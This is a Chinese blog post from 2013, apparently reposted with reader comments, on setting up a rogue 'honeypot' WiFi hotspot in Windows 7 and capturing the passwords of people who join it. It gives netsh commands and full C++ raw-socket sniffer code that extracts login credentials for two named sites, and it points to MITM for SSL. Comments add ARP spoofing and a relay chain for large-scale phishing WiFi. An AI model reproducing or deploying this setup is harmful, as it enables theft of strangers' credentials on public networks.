Windows下的无线热点蜜罐

/**************************************

/* 作者:半斤八兩

/* 博客:http://cnblogs.com/bjblcracked

/* 日期:2013-09-30 23:59

/**************************************

只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

在许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨, “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛?

WIFI即Hotspot也称无线热点,是指在公共场所提供无线局域网(WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet的接入。

试验平台:winn7 x86 台式机

工具: 无线网卡(USB)接收器

首先们来说一下怎样搭建wifi 蜜罐.

Win7下有一个命令可以创建个wifi.

netsh wlan set hostednetwork ssid=pass:123456789 key=123456789

Ssid

Ssid 就是上图中显示的东西.

防止别人不知道密码,我们就改成 pass:123456789

Key 我们就直接弄成 123456789

这里要注意, ssid 尽量不要弄中文的.经本人测试,发现iphone不支持中文ssid.

然后我们用命令启动它.

netsh wlan start hostednetwork

用命令启动它

这一些前提是我们要先插上wifi 接收器.

wifi 接收器

否则我们创建虚拟wifi 是不会成功的.

现在创建好了,我们写个抓包小程序,就可以等着chicken上勾就行了.

抓包我们要用混杂模式. 混杂模式可以抓到当前电脑所有网卡数据包.

#include <stdio.h>
#include <winsock2.h>
#include "DataStruct.h"
#include "InitSocket.h"
#include <iostream>
#include "mstcpip.h"
using namespace std;
CInitSocket initSock;

int nRet = 0;
void IsWifiHoneypots(PCHAR pBuff)
{
    PIPHEADER pIphdr = (PIPHEADER)pBuff;

    pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);

    PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;

    memset(szText, ' ', nRet);

    int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);

    memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);
    
    int i = 0;
    char szEmail[MAXBYTE] = {0};
    PCHAR pEmail = szEmail;


    if(strstr(szText, "wooyun.org"))
    if(strstr(szText, "email"))
    {
        puts("--------------------------------------------");
        cout<<"found Wooyun.org password:" << endl;

        pEmail = strstr(szText, "email");

        for(i = 0; (pEmail[i] != '&'); i++);

        pEmail[i] = '\0';
        
        puts(pEmail);

        pEmail += i + 1;

        if(strstr(pEmail, "password"))
        {        
            pEmail = strstr(pEmail, "password");
            
            for(i = 0; (pEmail[i] != '&'); i++);
            
            pEmail[i] = '\0';
            
            puts(pEmail);
        }

        puts("--------------------------------------------");
    }


    if(strstr(szText, "pediy.com"))
        if(strstr(szText, "username"))
        {
            puts("--------------------------------------------");
            cout<<"found pediy.com password:" << endl;
            
            pEmail = strstr(szText, "username");
            
            for(i = 0; (pEmail[i] != '&'); i++);
            
            pEmail[i] = '\0';
            
            puts(pEmail);
            
            pEmail += i + 1;
            
            if(strstr(pEmail, "md5password_utf="))
            {        
                pEmail = strstr(pEmail, "md5password_utf=");
                
                for(i = 0; (pEmail[i] != 0x20); i++);
                
                pEmail[i] = '\0';
                
                puts(pEmail);
            }
            
            puts("--------------------------------------------");
    }
}

int main(void)
{
    system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");

    SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

    char szHostName[56];

    SOCKADDR_IN localAddr;
    
    struct hostent *pHost;
    gethostname(szHostName, 56);
    if ((pHost = gethostbyname((char*)szHostName)) == NULL)
    {
        return 0;
    }
    localAddr.sin_family = AF_INET;
    localAddr.sin_port  = htons(0);
    memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);

    if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
    {
        return 0;
    }

    DWORD dwValue = 1;

    if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
    {
        return 0;
    }

    cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;

    char buff[1024];
    while(true)
    {
        nRet = recv(sRaw, buff, 1024, 0);
        if (nRet > 0)
        {
            buff[nRet] = '\0';
            IsWifiHoneypots(buff);
        }
    }
    closesocket(sRaw);
    return 0;
}

为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少BUG.但是wooyun 和 看雪的,应该都能抓到了.)

Wooyun的post直接是明文的密码, 看雪的还是做了md5 处理.

如果遇到了ssl的可以用mitm 处理. (这里就不说了,网上有很多资料.)

通过文篇文章大家应该注意 不要随意上没有密码的 wifi..

智能小车

我们设想一下,如果是一个不让进的,或者什么高级产所,我们的wifi信号不够广, 我们可以用一个小车子,将wifi热点放上去. 开启明显的ssid. 杀进去.

四轴飞行器

如果是高楼大厦,那我们可以将wifi热点 装进小飞机,杀进去.~

PDF下载<看雪学院>

[原文地址]

留言评论(旧系统):

张三疯 @ 2013-10-07 12:48:18

哈哈哈哈哈,真正的亮点在最后!

本站回复:

末尾纯属娱乐。

佚名 @ 2013-10-07 14:17:22

这抓包的程序把好多东西都写死了。。。 还是直接用wireshark抓吧

本站回复:

+1

失名 @ 2013-10-07 17:40:29

问,可进入的路由器能否抓包

本站回复:

这要看具体情况。

佚名 @ 2013-10-07 22:54:49

友情回答ID:5065的问题: 上网设备分3种,路由器、交换机、集线器(hub) 集线器可以直接抓出网络中所有包。这是90年代末普遍采用的设备。 路由器和交换机,要看是否支持端口镜像。支持端口镜像的话,设置一下就能抓路由器的包。 不支持的话,只能arp欺骗了,把自己伪造成网关。用2006年的古老软件WinArpAttacker即可,支持无线。也可以找核总要VB写的那个 建议用“科来网络分析系统”抓包。可识别的协议较多。但注意免费版不支持保存。

本站回复:

+10086

失名 @ 2013-10-08 12:58:58

谢ID5067、谢核总 后面YY的wifi小车/飞机有靠谱的接近可实施的可能性和思路吗 文中小车刷win7有点难度 哈哈

本站回复:

小车和四轴飞行器纯属娱乐的话可以,实际应用起来,续航能力什么的都是硬伤……

safe121 @ 2013-10-09 05:16:26

组建大规模钓鱼WiFi 自己家——WiFi(hidden ssid)->Router1 WDS(hidden ssid)->Router2 WDS(hidden ssid)->Router3 WDS(隐藏)->钓鱼小车WDS中继开SSID,实现大规模长距离定点定楼无线钓鱼。。。

本站回复:

续航是硬伤……

flownd @ 2013-10-11 02:01:18

都开飞机进去了... 果断丢个ap中继进去.. 然后就在大楼对面连接之..简单实用..

本站回复:

WTF……